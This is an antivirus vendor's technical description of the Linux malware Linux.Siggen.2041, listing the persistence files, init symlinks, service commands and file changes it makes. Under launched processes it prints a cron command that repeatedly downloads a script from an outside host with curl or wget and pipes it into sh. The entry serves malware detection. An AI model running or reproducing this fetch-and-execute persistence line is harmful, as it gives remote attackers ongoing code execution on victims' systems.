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Linux.Siggen.2041

Added to the Dr.Web virus database: 2019-07-31

Virus description added:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /var/spool/cron/crontabs/root
  • /etc/cron.d/root
  • /etc/init.d/sshservice
  • /etc/init.d/.depend.boot
  • /etc/init.d/.depend.start
  • /etc/init.d/.depend.stop
Creates or modifies the following symlinks:
  • /etc/rc0.d/K01sshservice
  • /etc/rc1.d/K01sshservice
  • /etc/rc2.d/S01sshservice
  • /etc/rc3.d/S01sshservice
  • /etc/rc4.d/S01sshservice
  • /etc/rc5.d/S01sshservice
  • /etc/rc6.d/K01sshservice
Malicious functions:
Launches itself as a daemon
Manages services:
  • systemctl enable sshservice
  • /usr/sbin/update-rc.d sshservice defaults
  • systemctl daemon-reload
Launches processes:
  • /bin/sh -c echo \"*/10 * * * * (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh\" | crontab -
  • crontab -
  • <SAMPLE_FULL_PATH>
  • /usr/local/sbin/NetworkManage
  • /bin/sh -c chattr -i /usr/lib/systemd/system/sshservice.service
  • chattr -i /usr/lib/systemd/system/sshservice.service
  • /bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;chkconfig --add sshservice
  • /bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;systemctl enable sshservice
  • /sbin/insserv sshservice
Performs operations with the file system:
Modifies file access rights:
  • /etc/hosts
  • /var/spool/cron/crontabs/tmp.iRzLDM
  • /etc/cron.d/root
  • /var/spool/cron/root
  • /var/spool/cron/crontabs/root
  • /var/spool/cron/crontabs/tmp.iCPuHI
  • /var/spool/cron/crontabs/tmp.PTb14K
  • /var/spool/cron/crontabs/tmp.DV0d0k
Creates or modifies files:
  • /etc/hosts
  • /var/spool/cron/crontabs/tmp.iRzLDM
  • /var/spool/cron/root
  • /var/spool/cron/crontabs/tmp.iCPuHI
  • /var/spool/cron/crontabs/tmp.PTb14K
  • /var/spool/cron/crontabs/tmp.DV0d0k
  • /usr/local/sbin/NetworkManage
  • /usr/local/sbin/sshd
  • /usr/lib/systemd/system/sshservice.service
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:65533
Establishes connection:
  • 127.0.0.1:65533

Curing recommendations


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